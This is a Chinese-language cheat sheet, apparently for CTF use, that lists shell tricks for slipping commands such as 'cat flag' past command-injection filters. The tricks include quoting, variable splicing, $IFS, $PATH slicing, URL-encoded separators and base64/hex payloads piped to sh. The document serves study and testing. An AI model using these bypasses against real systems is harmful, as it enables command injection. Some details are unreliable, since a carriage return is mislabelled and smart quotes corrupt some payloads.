梳理总结各类绕过方式

拼接绕过

反斜杠绕过

ca\t fl\ag

反单引号绕过

c``a``t flag

单引号绕过

c’‘a’'t flag

双引号绕过

c"“a”"t flag

插入注释绕过

c\*ba2in9a*\at flag

自定义变量绕过

a=l;b=s;$a$b

a=fl;b=ag;cat $a$b

未初始化变量绕过

cat$m flag

Shell 特殊变量绕过

当变量不存在时其值为空

Shell 特殊变量

点击查看内容
  • $0 : 当前脚本的文件名
  • $n : 传递给脚本或函数的参数(n为正整数)
  • $# : 传递给脚本或函数的参数个数
  • $* : 传递给脚本或函数的所有参数
  • $@ : 传递给脚本或函数的所有参数
  • $? : 上个命令的退出状态,或函数的返回值
  • $$ : 当前 Shell 进程或 Shell 脚本所在进程 ID
  • "$*" : 会将所有的参数作为一个整体,以"$1 $2 … \$n"的形式输出所有参数
  • "$@" : 会将各个参数分开,以"$1" "$2" … "$n" 的形式输出所有参数

利用PATH绕过

${PATH:5:1} -> l

${PATH:2:1} -> s

${PATH:5:1}${PATH:2:1}

过滤斜杠绕过

${HOME:0:1}

cat ${HOME:0:1}flag

echo . | tr ‘!-0’ ‘"-1’

cat $(echo . | tr ‘!-0’ ‘"-1’)flag

过滤空格绕过

Linux

{OS_COMMAND,ARGUMENT}可执行系统命令

{cat,flag.php}

;

连接前后命令,多条命令顺序执行,命令之间没有任何逻辑关系

重定向符

<和<>

cat<flag.txt

cat<>flag.txt

示例
点击查看内容
输出重定向符号
类 型 符 号 作 用
标准输出重定向 command >file 以覆盖的方式,把 command 的正确输出结果输出到 file 文件中
command >>file 以追加的方式,把 command 的正确输出结果输出到 file 文件中
标准错误输出重定向 command 2>file 以覆盖的方式,把 command 的错误信息输出到 file 文件中
command 2>>file 以追加的方式,把 command 的错误信息输出到 file 文件中
正确输出和错误信息同时保存 command >file 2>&1 以覆盖的方式,把正确输出和错误信息同时保存到同一个文件(file)中
command >>file 2>&1 以追加的方式,把正确输出和错误信息同时保存到同一个文件(file)中
command >file1 2>file2 以覆盖的方式,把正确的输出结果输出到 file1 文件中,把错误信息输出到 file2 文件中
command >>file1  2>>file2 以追加的方式,把正确的输出结果输出到 file1 文件中,把错误信息输出到 file2 文件中
command >file 2>file 不推荐】这两种写法会导致 file 被打开两次,引起资源竞争, stdout 和 stderr 会互相覆盖
command >>file 2>>file
IFS
$IFS

$IFS 在 Linux 下表示分隔符

cat$IFSflag.txt

bash 会将 IFSflag 当作变量名,导致无法输出预期结果

$IFS$9

加个 $ 起截断的作用

$9表示当前系统 shell 进程的第九个参数的持有者,其始终为空字符串

cat$IFS$9flag.txt

${IFS}

加 {} 起固定变量名的作用

cat${IFS}flag.txt

Windows

仅 type 命令可行

type.\flag.txt

type,flag.txt

URL 编码

PHP 环境

%09 horizontal tab 水平制表符

%0a line feed 换行符

%0d vertical tab 垂直制表符

命令终止符

%00 null character 零字符

%20# space 空格符

示例

ca$9t fl$9ag

ca$*t fl$*ag

ca$@t fl$@ag

编码绕过

反引号``和$()和{}|$0用来表示命令执行

cat /flag

base64:  Y2F0IC9mbGFn

hex:  636174202f666c6167

oct:  \x63\x61\x74\x20\x2f\x66\x6c\x61\x67

base64

echo Y2F0IC9mbGFn|base64 -d|sh

`echo Y2F0IC9mbGFn|base64 -d`

$(echo Y2F0IC9mbGFn|base64 -d)

{echo Y2F0IC9mbGFn|base64 -d}|$0

hex

echo 636174202f666c6167|xxd -r -p|sh

`echo 636174202f666c6167|xxd -r -p`

$(echo 636174202f666c6167|xxd -r -p)

{echo 636174202f666c6167|xxd -r -p}|$0

oct

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")

{printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0